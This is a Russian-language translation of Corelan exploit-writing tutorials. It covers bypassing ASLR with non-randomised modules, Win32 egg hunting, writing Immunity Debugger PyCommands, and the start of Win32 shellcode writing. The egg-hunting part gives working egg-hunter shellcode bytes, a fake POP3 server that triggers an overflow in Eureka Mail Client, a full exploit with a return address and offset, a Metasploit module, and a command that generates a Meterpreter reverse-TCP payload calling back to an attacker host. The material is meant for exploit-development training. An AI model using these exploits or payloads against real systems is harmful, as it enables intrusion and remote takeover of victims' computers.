Многие сторонние приложения исторически загружали хотя бы один EXE или DLL без `/DYNAMICBASE`. Адреса действительно нерандомизированного модуля могут предоставить `JMP ESP`, `CALL ESP`, `PUSH ESP / RET` или `POP POP RET`.

Пример — переполнение списка воспроизведения BlazeDVD 5.1 Professional. Проверка показывает прямую перезапись возврата около смещения 260 и SEH около 608. Сравнивайте базы после перезагрузок, а не доверяйте одному отчёту.

Стабильные кандидаты показанной установки имеют базы `0x60300000`, `0x61600000`, `0x64000000`, `0x64100000` и `0x67000000`.

Для прямой перезаписи:

```
[padding to offset 260]
[JMP ESP from a non-ASLR module]
[NOP sled]
[shellcode]
```

Для SEH определите модули без ASLR и SafeSEH:

```
!pvefindaddr nosafeseh
!pvefindaddr nosafesehaslr
```

Затем поместите стабильный `POP POP RET` такого модуля в обработчик, а передачу — в `nSEH`.

Перезагрузите систему и повторите эксплойт, чтобы подтвердить стабильность модуля и инструкции.

ASLR и DEP вместе

Уязвимость анимированного курсора показала исторический способ бороться с обеими защитами. Восстанавливаемое исключение позволяло повторять попытки и перебрать рандомизированный адрес отключения DEP в ограниченном числе слотов ASLR. Метод очень специфичен и зависит от выживания приложения после неудач.

Главный урок: механизмы защиты следует оценивать как систему. Обход одного не обходит остальные автоматически; надёжный эксплойт должен учитывать поведение компилятора, обработку исключений, политику исполняемых страниц, рандомизацию модулей, недопустимые символы и точную сборку цели.

Учебник по написанию эксплойтов, часть 8: Win32 Egg Hunting

corelanc0d3r, 2010-01-09

Введение

В предыдущих частях этой серии использовались переполнения стека, при которых полный шелл-код помещался в предсказуемый буфер либо был доступен через регистр. Если рядом с местом перезаписи указателя инструкций недостаточно пространства, ещё одним вариантом становится **egg hunting**.

Egg hunting — это разновидность многоэтапного шелл-кода. Компактный первый этап, *egg hunter*, ищет в памяти процесса более крупную полезную нагрузку, отмеченную уникальным тегом. Найдя этот тег, hunter передаёт управление байтам, расположенным сразу после него.

Должны выполняться три условия:

1. Для hunter должна быть доступна небольшая предсказуемая область, куда можно перенаправить выполнение.
2. Конечный шелл-код должен находиться где-либо в памяти процесса, например в стеке или куче.
3. Перед конечным шелл-кодом должен располагаться уникальный маркер, известный hunter. Обычно четырёхбайтовый маркер записывают перед полезной нагрузкой дважды.

> Поиск по памяти требует значительных ресурсов процессора. Процесс может некоторое время полностью занимать одно ядро, а поиск в большом адресном пространстве способен задержать выполнение конечной полезной нагрузки.

История и основные методы

Главным справочным материалом остаётся статья Skape Safely Searching Process Virtual Address Space. Отдельная статья описывает egg hunting только в куче.

Помните о следующих практических моментах:

• Четырёхбайтовый тег должен быть уникальным; обычно его дважды записывают перед настоящим шелл-кодом.
• Не каждый способ проверки памяти работает в любой цели, поэтому тестируйте hunter в реальном процессе.
• Разным hunters требуется разный объём пространства: примерно 60 байт для метода SEH, 37 байт для `IsBadReadPtr` и 32 байта для вариантов с нативными системными вызовами.

Код egg hunter

Внедрение SEH

Длина этого hunter составляет 60 байт; он ищет восьмибайтовое egg. Выделенное непосредственное значение — тег в формате little-endian.

```
EB21        jmp short 0x23
59          pop ecx
B890509050  mov eax,0x50905090 ; tag
51          push ecx
6AFF        push byte -0x1
33DB        xor ebx,ebx
648923      mov [fs:ebx],esp
6A02        push byte +0x2
59          pop ecx
8BFB        mov edi,ebx
F3AF        repe scasd
7507        jnz 0x20
FFE7        jmp edi
6681CBFF0F  or bx,0xfff
43          inc ebx
EBED        jmp short 0x10
E8DAFFFFFF  call 0x2
6A0C        push byte +0xc
59          pop ecx
8B040C      mov eax,[esp+ecx]
B1B8        mov cl,0xb8
83040806    add dword [eax+ecx],byte +0x6
58          pop eax
83C410      add esp,byte +0x10
50          push eax
33C0        xor eax,eax
C3          ret

my $egghunter =
"\xeb\x21\x59\xb8" .
"w00t" .
"\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb" .
"\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb" .
"\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1" .
"\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3";
```

Тег `w00t` также можно записать как `\x77\x30\x30\x74`. Внедрение SEH всё сильнее ограничивается SafeSEH, поэтому для новых целей Windows может потребоваться обход SafeSEH или другой hunter.

IsBadReadPtr

Длина этого hunter составляет 37 байт:

```
33DB        xor ebx,ebx
6681CBFF0F  or bx,0xfff
43          inc ebx
6A08        push byte +0x8
53          push ebx
B80D5BE777  mov eax,0x77e75b0d
FFD0        call eax
85C0        test eax,eax
75EC        jnz 0x2
B890509050  mov eax,0x50905090 ; tag
8BFB        mov edi,ebx
AF          scasd
75E7        jnz 0x7
AF          scasd
75E4        jnz 0x7
FFE7        jmp edi

my $egghunter =
"\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08" .
"\x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\xb8" .
```

```
"w00t" .
"\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7";
```

NtDisplayString

Этот 32-байтовый hunter использует нативный системный вызов для безопасной проверки памяти:

```
6681CAFF0F  or dx,0x0fff
42          inc edx
52          push edx
6A43        push byte +0x43
58          pop eax
CD2E        int 0x2e
3C05        cmp al,0x5
5A          pop edx
74EF        jz 0x0
B890509050  mov eax,0x50905090 ; tag
8BFA        mov edi,edx
AF          scasd
75EA        jnz 0x5
AF          scasd
75E7        jnz 0x5
FFE7        jmp edi
```

```
my $egghunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x43\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" .
"w00t" .
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
```

NtAccessCheckAndAuditAlarm

В следующем варианте номер службы изменён с `0x43` на `0x02`:

```
my $egghunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" .
"\x77\x30\x30\x74" . # w00t
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
```

Оба hunter с нативными вызовами продвигаются по памяти страница за страницей. Они вызывают системную службу, проверяют `STATUS_ACCESS_VIOLATION`, сравнивают с тегом два последовательных двойных слова с помощью `SCASD` и после совпадения обеих копий выполняют `JMP EDI`.

```
or dx,0x0fff       ; move to the end of the current page
inc edx            ; next address
push edx           ; preserve the address
push byte +0x2     ; NtAccessCheckAndAuditAlarm service number
pop eax
int 0x2e
cmp al,0x5         ; STATUS_ACCESS_VIOLATION
pop edx
je short page_next
mov eax,0x50905090 ; tag
mov edi,edx
scasd
jnz short address_next
scasd
jnz short address_next
jmp edi            ; EDI now points after the second tag
```

Реализация hunter: all your w00t are belong to us

Целью служит Eureka Mail Client 2.2q, уязвимый при получении от POP3-сервера специально сформированного слишком длинного ответа `-ERR`. Тестовая среда — английская Windows XP SP3 в VirtualBox.

Установите `pvefindaddr` в каталог `PyCommands` отладчика Immunity Debugger, затем создайте 2000-байтовый шаблон Metasploit:

```
!pvefindaddr pattern_create 2000
```

Создайте небольшой поддельный POP3-сервис, который многократно возвращает шаблон. Используется бесконечный цикл, поскольку клиент может аварийно завершиться не после первого ответа.

```
use IO::Socket;

my $junk = "<2,000-byte Metasploit pattern>";
my $port = 110;
my $server = IO::Socket::INET->new(
    LocalPort => $port,
    Type      => SOCK_STREAM,
    Reuse     => 1,
    Listen    => 10
) or die "Could not create server\n";

while (1) {
    my $client = $server->accept();
    print $client "+OK POP3 server ready\r\n";
    while (<$client>) {
        print $client "-ERR " . $junk . "\r\n";
    }
    close($client);
}
```

Настройте Eureka на использование узла с Perl-скриптом в качестве POP3-сервера. Имя пользователя и пароль могут содержать произвольные значения.

Сбой приводит к нарушению доступа при выполнении по адресу, взятому из циклического шаблона.

Выполните:

```
!pvefindaddr suggest
```

Плагин анализирует ссылки на шаблон и предлагает смещения и варианты компоновки эксплойта.

В этой среде:

• Непосредственная перезапись адреса возврата происходит после 710 байт.
• Смещение может меняться в зависимости от длины настроенного имени сервера. Общая формула: `723 - length(local IP)`.
• `ESP` указывает на контролируемые данные после 714 байт.
• `EDI` указывает на контролируемые данные примерно по смещению 991.
• `ESP` указывает в стек приблизительно по адресу `0x0012cd6c`; `EDI` указывает в секцию `.data` приложения около `0x00473678`.

Прямой `JMP EDI` через `0x7E47B533` приводит к контролируемым байтам `A`, а не к ожидаемому хвосту, однако полезная нагрузка всё ещё существует дальше в памяти процесса.

Используйте `JMP ESP` по адресу `0x7E47BCAF`, поместите 32-байтовый hunter в `ESP`, добавьте заполнение, а затем допишите `w00tw00t` и настоящий шелл-код:

```
my $offset = 710;
my $junk = "A" x $offset;
my $ret = pack('V', 0x7E47BCAF); # JMP ESP, user32.dll on XP SP3

my $egghunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" .
"w00t" .
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";

my $payload = $junk . $ret . $egghunter;
$payload .= "A" x 200;
$payload .= "w00tw00t" . $shellcode;
```

Поместите байт `INT 3` между тегом и шелл-кодом, чтобы увидеть точное место назначения. В этом запуске помеченная полезная нагрузка найдена в секции ресурсов приложения около `0x004739AD`.

Настройка начальной позиции hunter

Инструкция `OR DX,0x0FFF` перемещает указатель поиска в конец текущей страницы. Затем `INC EDX` начинает поиск со следующей страницы. Обычно это полезно, но так можно пропустить полезную нагрузку, расположенную раньше в том же кадре стека.

Возможные начальные точки:

• Начало текущего кадра стека.
• Адрес, скопированный из другого полезного регистра.
• Начало кучи процесса, найденное через TEB и PEB.
• Базовый адрес образа.
• Тщательно выбранный пользовательский адрес перед помеченной полезной нагрузкой.

Вносите такое изменение, только если важна скорость, стандартный hunter не работает либо изменение можно сделать надёжно. Особенно важен случай, когда в памяти существует несколько копий полезной нагрузки, а ранние копии обрезаны или повреждены.

Запишите исходные байты полезной нагрузки в файл и сравните их со всеми экземплярами в памяти:

```
!pvefindaddr compare c:\tmp\code.bin
```

Отчёт показывает каждое несовпадающее смещение, байт из файла и байт, найденный в памяти. Так можно выявить запрещённые символы или преобразование регистра. Чтобы сравнить данные с одним конкретным адресом, добавьте этот адрес к команде.

Тестирование с более крупным шелл-кодом

Одна из причин использовать hunter — возможность выполнять полезные нагрузки, которые не помещаются в непосредственный буфер переполнения. Создайте буквенно-цифровую полезную нагрузку Meterpreter reverse TCP и подставьте её вместо шелл-кода Calculator:

```
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.122 R |
```

```
./msfencode -b '0x00' -t perl -e x86/alpha_mixed
```

Запустите соответствующий обработчик Metasploit, вызовите переполнение и дождитесь, пока hunter найдёт помеченный этап.

Реализация egg hunters в Metasploit

Модуль Metasploit для этой цели должен работать как POP3-сервер, вычислять правильное смещение из `SRVHOST`, выбирать зависящий от цели `JMP ESP` и использовать поддержку генерации egg в Metasploit.

```
eggoptions = {
  'eggtag' => 'w00t',
  'checksum' => true
}

hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
offset = 723 - datastore['SRVHOST'].length

sploit  = rand_text_alpha(offset)
sploit << [target.ret].pack('V')
sploit << hunter
sploit << rand_text_alpha(200)
sploit << egg
```

Встроенный hunter Metasploit использует семейство методов `NtDisplayString`/`NtAccessCheckAndAuditAlarm`. Пользовательский hunter также можно передать в виде необработанного байт-кода.

Запрещённые символы и кодирование

Hunter является шелл-кодом и может быть повреждён целью так же, как конечная полезная нагрузка. Проверяйте запрещённые символы отдельно для hunter и полезной нагрузки, поскольку они могут проходить через разные преобразования.

Кодирование с помощью Metasploit

Запишите hunter в двоичный файл, закодируйте его и используйте закодированный результат как первый этап. Обычно тег не следует включать в кодируемые данные: если кодировщик преобразует тег, маркер перед конечным шелл-кодом придётся изменить соответствующим образом.

Создание декодера вручную

Когда допустимый набор символов слишком ограничен для стандартного кодировщика, декодер может восстановить исходный hunter в стеке. Метод из эксплойта muts работает с печатными буквенно-цифровыми байтами, исключая при этом дополнительные запрещённые символы.

Декодер:

1. Корректирует `ESP`, чтобы он указывал на область, куда следует записать декодированный hunter.
2. Обнуляет `EAX` двумя операциями `AND`.

3. Использует три операции `SUB EAX, value` для построения каждой четырёхбайтовой группы.
4. Помещает эту группу в стек.
5. Повторяет действия от последней группы к первой, чтобы итоговый порядок в стеке был правильным.
6. Продолжает выполнение с восстановленного hunter либо передаёт ему управление.

Например, последнее двойное слово hunter `75 E7 FF E7` разворачивается в `E7 FF E7 75`. Его дополнительный код равен `0x1800188B`. Выбираются три разрешённых печатных значения, сумма которых равна этому дополнению. В каждом блоке для очистки `EAX` используются 10 байт, для трёх инструкций `SUB` — 15 байт и для `PUSH EAX` — один байт: итого 26 байт на двойное слово, или 208 байт для hunter из восьми двойных слов без учёта выравнивания стека.

> Самодельный декодер зависит от конкретного набора запрещённых символов, требуемой коррекции стека и компоновки цели. Размер этого примера — около 220 байт, то есть намного больше исходного hunter.

Преобразование Unicode

Egg hunting может быть возможен в двух сценариях, когда уязвимый путь преобразует ввод в Unicode.

ASCII-полезная нагрузка остаётся в памяти

Некоторые приложения сохраняют исходный ввод перед преобразованием другой его копии. Используйте `!pvefindaddr compare`, чтобы найти неповреждённую ASCII-полезную нагрузку. Преобразуйте в Venetian shellcode только hunter, оставив `w00tw00t` и конечную полезную нагрузку в ASCII.

Поскольку ввод Unicode допускает вставленные нулевые байты, настройку начального адреса hunter иногда можно изменить проще, чем в пути только с ASCII.

И hunter, и полезной нагрузке требуется безопасное для Unicode кодирование

Если неповреждённой ASCII-полезной нагрузки нет, отдельно закодируйте hunter и конечный шелл-код для пути Unicode. Убедитесь, что восстановленный hunter ищет точное представление маркера в памяти и что после второго тега выполнение правильно выровнено.

При переполнении SEH остановитесь на цепочке SEH и передайте исключение приложению. Выполняйте трассировку, пока декодер не начнёт записывать исходный hunter в стек.

После обнаружения маркера `JMP EDI` приводит к следующему за ним коду выравнивания. Этот код направляет `EAX` на финальную заглушку декодера и использует `PUSH EAX`/`RET` для продолжения.

Omelet egg hunter

Omelet hunter работает с фрагментированным шелл-кодом: доступно несколько небольших контролируемых областей, но ни одна не вмещает всю полезную нагрузку. Полезная нагрузка разделяется на eggs; hunter находит все части, собирает их и выполняет результат.

Каждое egg содержит:

• Свою длину.
• Номер индекса.
• Трёхбайтовый маркер.
• Один фрагмент исходного шелл-кода.

Omelet hunter также знает размер фрагмента, количество eggs и маркер. Реализация Skylined использует пользовательские обработчики SEH для восстановления после недопустимых операций чтения памяти.

Скомпилируйте повторно используемый двоичный файл hunter:

```
"c:\program files\nasm\nasm.exe" -f bin -o w32_omelet.bin w32_SEH_omelet.asm -w+error
```

Создайте двоичный файл с конечным шелл-кодом, затем разделите его на eggs. В этом примере 303-байтовая полезная нагрузка Calculator разделяется с максимальным размером egg 127 и маркером `0xBADA55`:

```
w32_SEH_omelet.py w32_omelet.bin shellcode.bin calceggs.txt 127 0xBADA55
```

Первые пять байт каждого созданного egg содержат его размер, индекс и маркер. Остальные байты содержат фрагмент полезной нагрузки; неиспользованное пространство последнего egg заполняется.

Поместите мусор между eggs, чтобы смоделировать фрагменты в несвязанных областях памяти, а затем запустите omelet hunter через тот же путь `JMP ESP`.

Первая попытка завершается ошибкой по нулевому адресу, поскольку исходный код начинается с `XOR EDI,EDI`. Хотя он устанавливает обработчик SEH, в тестовой цели восстановление после этого нарушения доступа не происходит.

Запишите каждое egg в файл и найдите все неповреждённые копии:

```
!pvefindaddr compare c:\tmp\egg1.bin
!pvefindaddr compare c:\tmp\egg2.bin
!pvefindaddr compare c:\tmp\egg3.bin
```

`EDI` уже указывает на область перед eggs, поэтому замените начальную инструкцию `XOR EDI,EDI` двумя NOP. Теперь hunter находит первый маркер и копирует этот фрагмент в область сборки в стеке.

Трассировка цикла копирования и проверка восстановленной полезной нагрузки выявляют вторую проблему: исходный hunter продолжает поиск после сбора всех eggs. Для исправления неиспользуемый регистр инициализируется как счётчик eggs, его значение увеличивается после каждого `REP MOVSB`, а при достижении ожидаемого количества выполняется переход к восстановленному шелл-коду.

```
mov ebx,0xfffffffd ; three eggs remain
; ... find and copy one egg ...
cmp ebx,0xffffffff
```

```
  je payload_ready
  inc ebx
  ; ... continue searching ...
```

Повторно скомпилируйте изменённый ассемблерный код, заново создайте eggs и замените hunter в эксплойте. Исправленный omelet находит каждый фрагмент, восстанавливает исходную полезную нагрузку, прекращает поиск и запускает Calculator.

Обучение

Автор отмечает, что эти методы рассматриваются на учебных курсах Corelan по разработке эксплойтов.

Благодарности

Спасибо Skape за исходное исследование egg hunting, Skylined за реализацию SEH omelet и Unicode-кодировщики, muts за метод декодера с ограниченным набором символов, а также исследователям, которые проверили и улучшили примеры.

Начинаем писать PyCommands для Immunity Debugger: моя шпаргалка

corelanc0d3r, 2010-01-26

Когда много лет назад я начал разрабатывать эксплойты Win32, моим основным отладчиком был WinDBG, иногда я использовал OllyDbg. WinDBG быстр и мощен, однако вскоре выяснилось, что для улучшения процесса разработки нужны дополнительные инструменты.

У подхода с командной строкой много преимуществ, но это не самая удобная среда для поиска полезных адресов перехода или списка модулей без SafeSEH и ASLR. Найти простой `jmp esp` легко, а все сочетания `pop pop ret` в модулях без SafeSEH — уже нет.

WinDBG поддерживает плагины, однако найденные мной расширения, включая MSEC и Byakugan из Metasploit, не всегда работали так, как хотелось, и решали не все возникавшие задачи.

OllyDbg и Immunity Debugger заметно отличаются от WinDBG. Их графические интерфейсы устроены иначе, а плагинов доступно гораздо больше. Оценив оба, я сосредоточился на Immunity Debugger. Это не означает, что OllyDbg плох или ограничен. Просто быстро изменять его плагины сложнее, поскольку они являются скомпилированными DLL. Immunity использует сценарии Python: можно изменить файл и сразу увидеть результат.

Для обоих отладчиков существует множество встроенных и созданных сообществом плагинов. Мне хотелось иметь один плагин, помогающий на всех этапах создания стекового эксплойта. Так появился PyCommand `pvefindaddr`.

Я выбрал Immunity и Python. Я не эксперт по Python, однако смог сравнительно быстро создать собственный PyCommand. Главная сложность, помимо синтаксиса Python и правил отступов, заключалась в понимании API, методов и атрибутов Immunity. Встроенная справка API в основном перечисляла имена без объяснения поведения, поэтому существующие PyCommands стали ценными примерами.

Выберите **Help > Select API help file** и укажите `IMMLIB.HLP` из каталога Documentation:

Затем используйте **Help > Open API help file**:

У Immunity также была онлайн-справка API с несколько более подробными сведениями. Эта статья — практическая отправная точка для создания PyCommands, а не полное руководство по API.

PyCommands используют Python 2.x. Между Python 2 и Python 3 есть существенные различия, поэтому для этих примеров обращайтесь к документации Python 2.

Создание PyCommand с нуля

Создайте `<filename>.py` в каталоге `PyCommands` Immunity Debugger. Имя файла определяет способ вызова команды.

Запуск PyCommand

В командном поле Immunity введите восклицательный знак и имя файла без `.py`:

Для `plugin1.py` выполните:

```
!plugin1
```

Базовая структура

Плагин обычно загружает библиотеки Immunity и другие зависимости, определяет `main(args)` и реализует вызываемые из `main` функции:

```
#!/usr/bin/env python

"""(c) Peter Van Eeckhoutte 2009."""

__VERSION__ = '1.0'

import immlib
import getopt
import immutils
from immutils import *


# Functions


def main(args):
    pass
```

Для работы с API создайте экземпляр класса отладчика Immunity:

```
imm = immlib.Debugger()
```

Я обычно объявляю его глобально сразу после импортов.

Обработка аргументов

Параметры командной строки передаются в массиве `args`. Используйте `len(args)` для подсчёта и индекс для обращения:

```
def main(args):
    if not args:
        usage()
    else:
        print "Number of arguments: " + str(len(args))
        cnt = 0
        while cnt < len(args):
            print " Argument " + str(cnt + 1) + ": " + args[cnt]
            cnt += 1
```

Запись в журналы, таблицы и файлы

Обычный вывод `print` не отображается в стандартном окне PyCommand. Его можно направить в окно Log Immunity, отдельную таблицу или файл. Файл удобен, если объём данных превысит буфер Log.

Запись в окно Log

Используйте метод `Log()` экземпляра отладчика:

```
def main(args):
    print "Number of arguments: " + str(len(args))
    imm.Log("Number of arguments: %d" % len(args))

    cnt = 0
    while cnt < len(args):
        imm.Log(" Argument %d: %s" % (cnt + 1, args[cnt]))
        if args[cnt] == "world":
            imm.Log(" You said %s!" % args[cnt], focus=1, highlight=1)
        cnt += 1
```

В левом столбце Log обычно отображается `0BADF00D`. Передайте целочисленный адрес вторым аргументом, чтобы показать другое значение:

```
imm.Log("Argument %d: %s" % (cnt + 1, args[cnt]), 12345678)
```

Полезная начальная структура при пустом списке аргументов выводит справку:

```
__VERSION__ = '1.0'

import immlib
import getopt
import immutils
from immutils import *

imm = immlib.Debugger()


def usage():
    imm.Log(" ** No arguments specified ** ")
    imm.Log(" Usage: ")
    imm.Log(" blah blah")


def main(args):
    if not args:
        usage()
        return

    imm.Log("Number of arguments: %d" % len(args))
    cnt = 0
    while cnt < len(args):
        imm.Log(" Argument %d: %s" % (cnt + 1, args[cnt]))
        if args[cnt] == "world":
            imm.Log(" You said %s!" % args[cnt], focus=1, highlight=1)
        cnt += 1
```

Обновление журнала или таблицы

Во время ресурсоёмкого поиска по памяти Log может не обновляться до завершения операции. После `Log()` принудительно обновите его:

```
imm.updateLog()
```

Обновление замедляет операцию, поэтому приходится выбирать между текущей обратной связью и скоростью.

Запись вывода в таблицу

Задайте заголовок и столбцы через `createTable()`, затем добавляйте строки методом `add()` объекта таблицы:

```
def main(args):
    if not args:
        usage()
        return

    table = imm.createTable('Argument table', ['Number', 'Argument'])
    imm.Log("Number of arguments: %d" % len(args))

    cnt = 0
    while cnt < len(args):
        table.add(0, ["%d" % (cnt + 1), "%s" % args[cnt]])
        cnt += 1
```

Запись вывода в файл

Это обычный Python, а не API Immunity. Относительные файлы записываются в каталог программы Immunity Debugger:

```
filename = "myfile.txt"
FILE = open(filename, "a")
FILE.write("Blah blah\n")
FILE.close()
```

Обычно я сначала очищаю файл, а затем добавляю данные вспомогательной функцией:

```
def resetfile(filename):
    FILE = open(filename, "w")
    FILE.write("")
    FILE.close()
    return ""


def tofile(info, filename):
    info = info.replace('\n', ' - ')
    FILE = open(filename, "a")
    FILE.write(info + "\n")
    FILE.close()
    return ""
```

Работа с адресами

Определите, ожидает ли метод целочисленный адрес или вам нужна только печатная строка. Immunity возвращает и принимает адреса как целые числа. Для отображения используйте строку форматирования:

```
def tohex(intAddress):
    return "%08X" % intAddress


def main(args):
    if not args:
        usage()
        return

    myAddress = 1234567
    imm.Log(" Integer: %d" % myAddress, address=myAddress)
    imm.Log(" Readable hex: 0x%08X" % myAddress, address=myAddress)

    hexAddress = tohex(myAddress)
    imm.Log(" Readable string: 0x%s" % hexAddress, address=myAddress)
```

```
    imm.Log(
        " Back to integer: %d" % int(hexAddress, 16),
        address=int(hexAddress, 16)
    )
```

Если API Immunity говорит, что метод принимает `address`, передавайте целое число.

Опкоды, ассемблирование, дизассемблирование и поиск в памяти

Распространённые задачи: поиск инструкций перехода, сравнение памяти с файлом, чтение байтов и преобразование инструкций в опкоды и обратно. Для результатов поиска необходимо присоединиться к процессу.

Можно передать ассемблерный код и позволить Immunity собрать его перед поиском либо непосредственно искать байты опкодов.

Поиск jmp esp

```
def main(args):
    imm.Log("Started search for jmp esp...")
    imm.updateLog()
    searchFor = "jmp esp"
    results = imm.Search(imm.Assemble(searchFor))
    for result in results:
        imm.Log(
            "Found %s at 0x%08x" % (searchFor, result),
            address=result
        )
```

Разделяйте инструкции последовательности переводом строки:

```
def main(args):
    imm.Log("Started search for push esp / ret...")
    imm.updateLog()
    searchFor = "push esp\nret"
    results = imm.Search(imm.Assemble(searchFor))
    for result in results:
        imm.Log(
            "Found %s at 0x%08x" % (
                searchFor.replace('\n', ' - '), result
            ),
            address=result
        )
```

Можно искать необработанные опкоды без предварительного ассемблирования, а затем дизассемблировать каждый результат:

```
def main(args):
    imm.Log("Started search for mov ebp,esp")
    imm.updateLog()
    searchFor = "\x8b\xec"
    results = imm.Search(searchFor)
    for result in results:
        opc = imm.Disasm(result)
        opstring = opc.getDisasm()
        imm.Log(
            "Found %s at 0x%08x" % (opstring, result),
            address=result
        )
```

Поиск охватывает всю память процесса внутри и вне загруженных модулей и может загрузить процессор на 100 процентов.

Создание ассемблера

Следующая команда объединяет аргументы, разделяет инструкции по #, ассемблирует каждую и форматирует полученные байты:

```
import re


def main(args):
    if args[0] != "assemble":
        return

    if len(args) < 2:
        imm.Log(" Usage: !plugin1 assemble instructions")
        imm.Log(" Separate multiple instructions with #")
        return

    cmdInput = " ".join(args[1:])
    cmdInput = cmdInput.replace("'", "").replace('"', '')
    instructions = re.compile('#').split(cmdInput)

    for instruction in instructions:
        try:
            assembled = imm.Assemble(instruction)
            strAssembled = ""
            for opcode in assembled:
                strAssembled += hex(ord(opcode)).replace('0x', '\\x')
            imm.Log(" %s = %s" % (instruction, strAssembled))
        except:
            imm.Log(" Could not assemble %s" % instruction)
```

Перемещение по памяти

`readMemory()` принимает начальный адрес и число байтов. Этот пример читает восемь байтов по адресу, переданному в шестнадцатеричном виде:

```
if args[0] == "readmem" and len(args) > 1:
    imm.Log("Reading 8 bytes of memory at %s" % args[1])
    cnt = 0
    memloc = int(args[1], 16)
    while cnt < 8:
        memchar = imm.readMemory(memloc + cnt, 1)
        memchar2 = hex(ord(memchar)).replace('0x', '')
        imm.Log("Byte %d: %s" % (cnt + 1, memchar2))
        cnt += 1
```

Регистры

```
regs = imm.getRegs()
for reg in regs:
    imm.Log("Register %s: 0x%08X" % (reg, regs[reg]))
```

Цепочка SEH

```
def main(args):
    if args[0] == "sehchain":
        thissehchain = imm.getSehChain()
        sehtable = imm.createTable('SEH Chain', ['Address', 'Value'])
        for chainentry in thissehchain:
            sehtable.add(0, (
                "0x%08x" % chainentry[0],
                "%08x" % chainentry[1]
            ))
```

Свойства адресов и модулей

Для результата поиска может потребоваться определить его модуль, базу и размер модуля, свойства SafeSEH и ASLR и уровень доступа страницы памяти.

Определение принадлежности адреса модулю

```
module = imm.findModule(result)
if not module:
    module = "none"
else:
    module = module[0].lower()
```

Базовый адрес и размер модуля

```
modbase = module.getBaseAddress()
modsize = module.getSize()
modtop = modbase + modsize
```

Проверка SafeSEH

Для этого кода требуется `import struct`:

```
module = imm.findModule(result)
mod = imm.getModule(module[0])
mzbase = mod.getBaseAddress()
peoffset = struct.unpack('<L', imm.readMemory(mzbase + 0x3c, 4))[0]
pebase = mzbase + peoffset
flags = struct.unpack('<H', imm.readMemory(pebase + 0x5e, 2))[0]
numberofentries = struct.unpack('<L', imm.readMemory(pebase + 0x74, 4))[0]

if numberofentries > 10:
    sectionaddress, sectionsize = struct.unpack(
        '<LL', imm.readMemory(pebase + 0x78 + 8 * 10, 8)
    )
    sectionaddress += mzbase
    data = struct.unpack('<L', imm.readMemory(sectionaddress, 4))[0]
    condition = sectionsize != 0 and (sectionsize == 0x40 or sectionsize == data)
    if condition == False:
        imm.Log("Module %s is not SafeSEH protected" % module[0])
```

Проверка поддержки ASLR

```
module = imm.findModule(result)
mod = imm.getModule(module[0])
mzbase = mod.getBaseAddress()
peoffset = struct.unpack('<L', imm.readMemory(mzbase + 0x3c, 4))[0]
pebase = mzbase + peoffset
flags = struct.unpack('<H', imm.readMemory(pebase + 0x5e, 2))[0]

if flags & 0x0040 == 0:
    imm.Log("Module %s is not ASLR aware" % module[0])
```

Уровень доступа

```
page = imm.getMemoryPagebyAddress(result)
access = page.getAccess(human=True)
imm.Log("Access: %s" % access)
```

Имя и путь отлаживаемого приложения

```
name = imm.getDebuggedName()
imm.Log("Name: %s" % name)
module = imm.getModule(name)
path = module.getPath()
imm.Log("Path: %s" % path)
```

Влияние обновления до Immunity Debugger 1.74 или новее

Immunity планировала унифицировать регистр букв в именах методов. В PyCommands могут потребоваться следующие изменения:

Immunity 1.73	Новые версии
.Log	.log
.Assemble	.assemble
.Disassemble	.disassemble
.Search	.search
.getMemoryPagebyAddress	.getMemoryPageByAddress

Заключение

Этот справочник далеко не полон. API Immunity умеет гораздо больше, но приведённые примеры помогут быстрее начать создавать собственные PyCommands.

Если вы создадите новый PyCommand, поделитесь им, чтобы вашей работой могли воспользоваться другие.

Полезные ссылки

- Архив плагинов отладчиков Tuts 4 You
- Презентация Immunity Debugger с DEF CON 15
- PEDetect и создание сигнатур в Immunity Debugger
- `http://beist.org/research/public/immunity1/imm_present_jff.pdf`

Учебное руководство по написанию эксплойтов, часть 9: введение в создание шелл-кода Win32

corelanc0d3r, 2010-02-25

Основы: создание лаборатории для шелл-кода

Шелл-код — небольшая программа, представленная байтами машинного кода. Более сложное поведение обычно требует больше инструкций, что создаёт практические ограничения: код должен помещаться в доступный буфер, избегать байтов, изменяемых целью, находить нужные API Windows и надёжно выполняться внутри другого процесса.

Шелл-код Windows обычно вызывает функции Windows API. Примеры этой главы создавались в Windows XP SP3; показанные жёстко заданные адреса относятся только к этому окружению и не переносимы.

Полезная лаборатория включает:

• Компилятор C, например LCC-Win32 или Visual C++.
• NASM.
• IDA Free или другой дизассемблер.
• Immunity Debugger или WinDbg.
• Инструменты Metasploit для шелл-кода и кодирования.
• Небольшие сценарии для записи строк опкодов в двоичные файлы и чтения двоичных файлов в виде массивов байтов C или Perl.

Проверка существующего шелл-кода

Не доверяйте массиву опкодов лишь потому, что комментарий обещает запуск калькулятора. Перед выполнением исследуйте неизвестный шелл-код, желательно в изолированной среде анализа.

Подход 1: статический анализ

Запишите массив байтов в двоичный файл:

```
#!/usr/bin/perl

my $shellcode =
"\x90\x90\x90"; # replace with the bytes under review

open(my $fh, '>:raw', 'shellcode.bin') or die $!;
print {$fh} $shellcode;
close($fh);
```

Сначала изучите необработанный файл и печатные строки. Очевидные команды, пути, URL или разрушительные команды оболочки могут сразу показать, что полезная нагрузка делает не то, что заявлено.

```
strings shellcode.bin
```

